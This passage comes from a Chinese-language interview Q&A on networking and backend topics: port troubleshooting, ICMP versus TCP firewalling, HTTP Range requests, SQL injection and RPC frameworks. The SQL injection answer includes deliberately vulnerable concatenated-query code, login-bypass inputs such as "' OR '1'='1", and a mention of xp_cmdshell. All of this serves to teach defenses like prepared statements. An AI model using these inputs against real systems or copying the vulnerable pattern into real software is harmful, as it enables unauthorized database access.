# 如果没有端口 → 应用未启动或绑定失败2. 本地能否访问?
bash
# 本地 curl
curl http://localhost:8080
# 如果本地不通 → 应用内部问题(路由/异常/中间件)
# 如果本地通但外部不通 → 网络问题3. 防火墙是否放行?
bash
# iptables 防火墙
iptables -L -n | grep 8080
# firewalld
firewall-cmd --list-ports
# 放行端口
firewall-cmd --add-port=8080/tcp --permanent
firewall-cmd --reload4. 是否绑定了 127.0.0.1 而非 0.0.0.0?
bash
# 只绑定了 localhost → 外部无法访问
netstat -tlnp | grep 8080
# 127.0.0.1:8080 → 只能本地访问
# 0.0.0.0:8080 → 可以外部访问5. 网络是否可达?
bash
# ping 测试网络连通
ping <server_ip>
# telnet/nc 测试端口
telnet <server_ip> 8080
nc -zv <server_ip> 8080
# tracert 路由跟踪
tracert <server_ip>6. 云服务器安全组
- 阿里云/腾讯云/AWS 安全组规则
- 入站规则是否放行对应端口
常见原因汇总:
| 原因 | 检查方法 |
|---|---|
| 应用未启动 | ps aux / netstat -tlnp |
| 绑定 127.0.0.1 | netstat -tlnp |
| 防火墙未放行 | iptables -L / firewall-cmd --list |
| 安全组未配置 | 云控制台检查 |
| 端口冲突 | netstat 检查 |
| SELinux 限制 | getenforce |
| DNS 解析错误 | nslookup / dig |
追问延伸:
- ping 通但端口连不上是什么原因?(防火墙、应用未启动、端口错误)
- telnet 和 nc 有什么区别?(telnet 是 TCP,nc 支持 TCP/UDP,nc 更灵活)
Q47: 服务器 ping 不通但 HTTP 能请求成功,什么原因? 「🟡 中级」
考察点:ICMP 与 TCP 的区别和防火墙理解。
参考答案:
这种情况完全可能发生,因为 ping 和 HTTP 使用不同协议:
ping: 使用 ICMP 协议(网络层)
HTTP: 使用 TCP 协议(传输层)→ 端口 80/443原因:防火墙策略不同
| 协议 | 防火墙规则 | 结果 |
|---|---|---|
| ICMP | 被防火墙丢弃 | ping 不通 |
| TCP 80/443 | 被防火墙放行 | HTTP 正常 |
常见场景:
- 服务器安全策略:禁止 ICMP(防探测),放行 HTTP 端口
- 云安全组:入站规则只放行 TCP 80/443,不放行 ICMP
- iptables 规则:
bash
# 禁止 ICMP
iptables -A INPUT -p icmp -j DROP
# 放行 HTTP
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT- 中间网络设备:路由器/防火墙过滤 ICMP 但允许 TCP
安全考量:
- 禁止 ping 是安全加固的常见做法(防止主机发现/扫描)
- 但不影响正常 HTTP 服务
- 某些监控工具依赖 ping 检测存活,需要额外放行 ICMP 或改用 TCP 检测
排查方法:
bash
# 检查防火墙 ICMP 规则
iptables -L -n | grep icmp
# 检查 ICMP 内核参数
cat /proc/sys/net/ipv4/icmp_echo_ignore_all
# 0 = 允许 ping
# 1 = 禁止 ping追问延伸:
- 禁止 ping 能提高多少安全性?(防止简单的存活探测,但对端口扫描无效)
- 用 TCP 检测代替 ping 的方案?(
tcping host port或nc -z host port)
Q48: HTTP 断点续传是什么?Range 请求的原理? 「🟡 中级」
考察点:HTTP Range 请求和断点续传。
参考答案:
断点续传:下载中断后,从断点继续下载,而不是从头开始。通过 HTTP Range 头实现。
http
// 首次请求(下载前 1000 字节)
GET /file.zip HTTP/1.1
Range: bytes=0-999
// 服务器响应
HTTP/1.1 206 Partial Content
Content-Range: bytes 0-999/5000
Content-Length: 1000
Accept-Ranges: byteshttp
// 断点续传(从第 2000 字节开始)
GET /file.zip HTTP/1.1
Range: bytes=2000-
// 服务器响应
HTTP/1.1 206 Partial Content
Content-Range: bytes 2000-4999/5000
Content-Length: 3000关键头字段:
| 头字段 | 方向 | 说明 |
|---|---|---|
| Range | 请求 | 客户端指定需要的字节范围 |
| Content-Range | 响应 | 服务端返回当前范围和总大小 |
| Accept-Ranges | 响应 | 服务端声明支持断点续传 |
| If-Range | 请求 | 验证资源是否变化(ETag/Date) |
| ETag | 响应 | 资源唯一标识,用于验证 |
状态码:
206 Partial Content:范围请求成功200 OK:不支持 Range 或 If-Range 验证失败 → 返回完整内容
断点续传的完整流程:
- 客户端下载文件,记录已下载的字节数
- 下载中断
- 重新下载时,发送
Range: bytes=已下载字节数- - 服务器返回 206 和剩余数据
- 如果
If-Range验证资源已变化 → 重新从头下载
多线程下载:
线程1: Range: bytes=0-1249999
线程2: Range: bytes=1250000-2499999
线程3: Range: bytes=2500000-3749999
线程4: Range: bytes=3750000-4999999追问延伸:
- 如何验证断点续传时文件没有变化?(用 If-Range + ETag)
- 视频网站的"拖拽进度条"是怎么实现的?(Range 请求对应的视频片段)
Q49: SQL 注入是什么?如何防御? 「🟡 中级」
考察点:Web 安全的核心漏洞。
参考答案:
SQL 注入:攻击者通过输入恶意的 SQL 片段,使后端拼接的 SQL 语句被篡改,执行非预期的数据库操作。
java
// 漏洞代码:直接拼接 SQL
String sql = "SELECT * FROM users WHERE name = '" + username + "' AND password = '" + password + "'";
// 攻击输入
username = "admin' --"
password = "anything"
// 实际执行的 SQL:
SELECT * FROM users WHERE name = 'admin' --' AND password = 'anything'
-- -- 后面的内容被注释,密码校验被绕过java
// 攻击输入2:万能密码
username = "' OR '1'='1"
password = "' OR '1'='1"
// 实际执行的 SQL:
SELECT * FROM users WHERE name = '' OR '1'='1' AND password = '' OR '1'='1'
-- '1'='1' 永远为真 → 返回所有用户SQL 注入的危害:
- 绕过登录验证
- 获取敏感数据(拖库)
- 修改/删除数据
- 执行系统命令(
xp_cmdshell)
防御方案:
| 方案 | 效果 | 说明 |
|---|---|---|
| 预编译语句 | 最好 | 参数化查询,SQL 和数据分离 |
| ORM 框架 | 好 | MyBatis #{}、JPA 自动参数化 |
| 输入校验 | 辅助 | 白名单校验、长度限制 |
| 最小权限 | 纵深防御 | DB 账户只给必要权限 |
| WAF | 辅助 | Web 应用防火墙拦截 SQL 关键字 |
java
// 正确:预编译语句
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ? AND password = ?");
ps.setString(1, username);
ps.setString(2, password);
// MyBatis 正确用法
// #{} 预编译参数(安全)
SELECT * FROM users WHERE name = #{username}
// ${} 字符串替换(危险!不安全)
SELECT * FROM users WHERE name = '${username}' // 不要这样用追问延伸:
- MyBatis 的
#{}和${}有什么区别?(#{}预编译安全,${}拼接危险) - 预编译为什么能防 SQL 注入?(SQL 结构已固定,参数只当数据处理,不会被解析为 SQL)
Q50: RPC 框架的核心组件有哪些?gRPC 和 Dubbo 有什么区别? 「🔴 高级」
考察点:RPC 框架的架构理解。
参考答案:
RPC 的核心组件:
客户端 服务端
↓ ↓
1. 客户端代理(Stub) 1. 服务端代理(Skeleton)
2. 序列化 2. 反序列化
3. 网络传输 3. 网络接收
↓ ↓
4. 编码/协议 4. 解码/协议
─────────────────────────
网络层| 组件 | 作用 | 常见实现 |
|---|---|---|
| 序列化 | 对象 → 字节流 | Protobuf、JSON、Hessian |
| 网络传输 | 字节流传输 | Netty(NIO)、gRPC(HTTP/2) |
| 服务注册 | 服务发现 | Nacos、Consul、ZooKeeper |
| 负载均衡 | 请求分发 | 客户端 LB、服务端 LB |
| 容错 | 调用失败处理 | 重试、熔断、降级 |
| 代理 | 透明调用 | 动态代理(JDK、CGLIB) |
gRPC vs Dubbo:
| 维度 | gRPC | Dubbo |
|---|---|---|
| 协议 | HTTP/2 | Dubbo 协议(默认 TCP) |
| 序列化 | Protobuf | Hessian2 / Protobuf |
| 跨语言 | 强(多语言支持) | 弱(Java 为主) |
| 服务治理 | 弱(需结合 Istio 等) | 强(内置注册中心、路由、限流) |
| 流式支持 | 支持(双向流) | 支持(Triple) |
| 生态 | Google 主导 | 阿里主导 |
RPC vs HTTP API:
| 维度 | RPC | HTTP API |
|---|---|---|
| 协议 | TCP/HTTP2 | HTTP/1.1 |
| 性能 | 高(二进制 + 长连接) | 较低(文本 + 短连接) |
| 跨语言 | 取决于框架 | 天然跨语言 |
| 可读性 | 差(二进制) | 好(JSON/文本) |
| 适用场景 | 内部服务间调用 | 对外 API |
追问延伸:
- 为什么内部服务用 RPC 而不用 HTTP API?(性能、服务治理、类型安全)
- gRPC 为什么用 Protobuf?(二进制编码体积小、解析快、跨语言生成代码)